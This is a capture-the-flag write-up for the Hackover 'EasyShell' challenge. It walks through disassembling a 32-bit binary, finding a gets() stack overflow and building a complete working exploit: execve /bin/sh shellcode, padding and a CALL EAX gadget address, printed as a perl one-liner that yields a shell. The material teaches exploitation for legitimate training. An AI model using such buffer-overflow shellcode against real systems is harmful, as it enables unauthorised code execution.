Hackover CTF - EasyShell

Running file on it gives the following output.

easy_shell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=db8c496a9a78e4d2b5088ef340c422f757888559, not stripped

Running checksec on the binary gave me

RELRO           STACK CANARY      NX            PIE
No RELRO        No canary found   NX disabled   No PIE

Since the binary didn’t support PIE, the .text section should be loaded at the same address every time. NX was turned off as well so it didn’t seem as though I’d need to use anything ROP-related.

Running the binary shows


        .-"; ! ;"-.
      .'!  : | :  !`.
     /\  ! : ! : !  /\
    /\ |  ! :|: !  | /\
   (  \ \ ; :!: ; / /  )
  ( `. \ | !:|:! | / .' )
  (`. \ \ \!:|:!/ / / .')
   \ `.`.\ |!|! |/,'.' /
    `._`.\\\!!!// .'_.'
       `.`.\\|//.'.'
        |`._`n'_.'|
        "----^----">>

nom nom, shell>

So after seeing that it takes input via STDIN and this is the first pwnable and its name is easyshell, I figured that this was probably what I should focus on.

I opened the binary in GDB and took a look at the disassembly.

   0x080484d6 <+0>:    lea    ecx,[esp+0x4]
   0x080484da <+4>:	 and    esp,0xfffffff0
   0x080484dd <+7>:	 push   DWORD PTR [ecx-0x4]
   0x080484e0 <+10>:	push   ebp
   0x080484e1 <+11>:	mov    ebp,esp
   0x080484e3 <+13>:	push   ecx
   0x080484e4 <+14>:	sub    esp,0x4
   0x080484e7 <+17>:	call   0x804847b <do_stuff>
   0x080484ec <+22>:	mov    eax,0x2a
   0x080484f1 <+27>:	add    esp,0x4
   0x080484f4 <+30>:	pop    ecx
   0x080484f5 <+31>:	pop    ebp
   0x080484f6 <+32>:	lea    esp,[ecx-0x4]
   0x080484f9 <+35>:	ret

There was nothing interesting in here besides the call to a function called do_stuff. I disassembled that next.

   0x0804847b <+0>:	push   ebp
   0x0804847c <+1>:	mov    ebp,esp
   0x0804847e <+3>:	sub    esp,0x38
   0x08048481 <+6>:	mov    eax,ds:0x80498ec
   0x08048486 <+11>:	sub    esp,0xc
   0x08048489 <+14>:	push   eax
   0x0804848a <+15>:	call   0x8048330 <printf@plt>
   0x0804848f <+20>:	add    esp,0x10
   0x08048492 <+23>:	mov    eax,ds:0x80498f0
   0x08048497 <+28>:	sub    esp,0xc
   0x0804849a <+31>:	push   eax
   0x0804849b <+32>:	call   0x8048340 <fflush@plt>
   0x080484a0 <+37>:	add    esp,0x10
   0x080484a3 <+40>:	sub    esp,0xc
   0x080484a6 <+43>:	push   0x804869a
   0x080484ab <+48>:	call   0x8048330 <printf@plt>
   0x080484b0 <+53>:	add    esp,0x10
   0x080484b3 <+56>:	mov    eax,ds:0x80498f0
   0x080484b8 <+61>:	sub    esp,0xc
   0x080484bb <+64>:	push   eax
   0x080484bc <+65>:	call   0x8048340 <fflush@plt>
   0x080484c1 <+70>:	add    esp,0x10
   0x080484c4 <+73>:	sub    esp,0xc
   0x080484c7 <+76>:	lea    eax,[ebp-0x32]
   0x080484ca <+79>:	push   eax
   0x080484cb <+80>:	call   0x8048350 <gets@plt>
   0x080484d0 <+85>:	add    esp,0x10
   0x080484d3 <+88>:	nop
   0x080484d4 <+89>:	leave
   0x080484d5 <+90>:	ret

At the end, I noticed a call to gets() which was responsible for reading my input. It’s also well known that gets() doesn’t take any sort of length argument and does no bounds checking and is just generally unsafe since it leads to overflows.

A quick man gets shows:

NAME
       gets - get a string from standard input (DEPRECATED)

SYNOPSIS
       #include <stdio.h>

       char *gets(char *s);

DESCRIPTION
       Never use this function.

       gets()  reads  a  line  from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0').  No check for  buffer  overrun  is
       performed (see BUGS below).

RETURN VALUE
       gets() returns s on success, and NULL on error or when end of file occurs while no characters have been read.  However, given the lack of buffer overrun checking, there can be no guarantees that the function will even return.

So gets() takes a pointer to a string. Looking at the dissasembly, I saw the pointer being pushed onto the stack

   0x080484c7 <+76>:	lea    eax,[ebp-0x32]
   0x080484ca <+79>:	push   eax
   0x080484cb <+80>:	call   0x8048350 

So it seems that the buffer is 50 (0x32) bytes away from where EBP points to. This means that writing 54 bytes will overwrite the saved frame pointer and that writing 58 bytes will overwrite the saved return address on the stack.

I tried this to make sure that it worked.

gdb-peda$ run
Starting program: /home/rik/easy_shell

        .-"; ! ;"-.
      .'!  : | :  !`.
     /\  ! : ! : !  /\
    /\ |  ! :|: !  | /\
   (  \ \ ; :!: ; / /  )
  ( `. \ | !:|:! | / .' )
  (`. \ \ \!:|:!/ / / .')
   \ `.`.\ |!|! |/,'.' /
    `._`.\\\!!!// .'_.'
       `.`.\\|//.'.'
        |`._`n'_.'|
        "----^----">>

nom nom, shell> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

Overflow

Aaaandd, I had control over EIP. So I could jump to any point in the code that I want. Now I just had to write my shellcode somewhere and return into it. However, looking at the output from GDB at the time of the crash, I see that EAX holds the address of the buffer. This isn’t surprising since this happens right after the call to gets() and gets() returns the address of the buffer (return values are usually stored in EAX).

It would be awesome if we could overwrite the saved return address with a CALL EAX gadget. Since the .text section for the binary should remain static, I figured this would make things really convenient because then I wouldn’t have to worry about NOP sleds or getting any addresses right.

I uploaded the binary to ROPSHELL and checked for any CALL EAX gadgets.

The results were

ropshell> use 7d46103507a4ca3fe1abff6ca6952b3d
name         : easy_shell (i386/ELF)
base address : 0x8048380
total gadgets: 32

ropshell> search call eax
found 1 gadgets
> 0x080483e3 : call eax

Awesome! So I had my gadget and its address.

Now I just had to construct my payload.

<shellcode> + <A x [54-len(shellcode)]> + <gadget>

I just grabbed some generic Linux/x86 execve /bin/sh shellcode off the interwebs.

perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x31,"\xe3\x83\x04\x08"'

Giving this input to the binary resulted in us getting a shell.

rik@blog:~$ cat <(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x31,"\xe3\x83\x04\x08"') - | ./easy_shell

        .-"; ! ;"-.
      .'!  : | :  !`.
     /\  ! : ! : !  /\
    /\ |  ! :|: !  | /\
   (  \ \ ; :!: ; / /  )
  ( `. \ | !:|:! | / .' )
  (`. \ \ \!:|:!/ / / .')
   \ `.`.\ |!|! |/,'.' /
    `._`.\\\!!!// .'_.'
       `.`.\\|//.'.'
        |`._`n'_.'|
        "----^----">>

nom nom, shell>uname -a
Linux blog 3.19.0-22-generic #22-Ubuntu SMP Tue Jun 16 17:15:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

From there it was pretty simple to print the flag in /home/ctf/flag.txt

Success!